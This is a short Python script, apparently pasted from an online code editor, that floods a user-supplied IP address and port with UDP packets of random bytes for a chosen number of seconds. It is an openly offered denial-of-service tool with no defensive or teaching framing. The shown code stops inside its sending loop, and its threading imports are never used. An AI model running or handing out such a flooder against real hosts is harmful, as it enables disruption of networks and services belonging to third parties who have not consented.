PY
py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import socket
import random
import time
import threading
from queue import Queue
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #opens new socket
bytes = random._urandom(1024) #creates packet
print("###########STARTING###########")
print('this program sends packets to a designated ip')
ip = input('target ip : ') #Target
port = int(input('port : ')) #Target Port
duration = int(input('# of seconds :')) #Time
timeout = time.time() + duration
sent = 0
socket.setdefaulttimeout(180)
msg = "sent {} packets to ip adress {}".format(sent, ip)
def send(worker):
global sent
while True:
if time.time() > timeout:
break
else:
pass
sock.sendto(bytes,(ip, port))
sent = sent + 1
Enter to Rename, Shift+Enter to Preview
OUTPUT
Run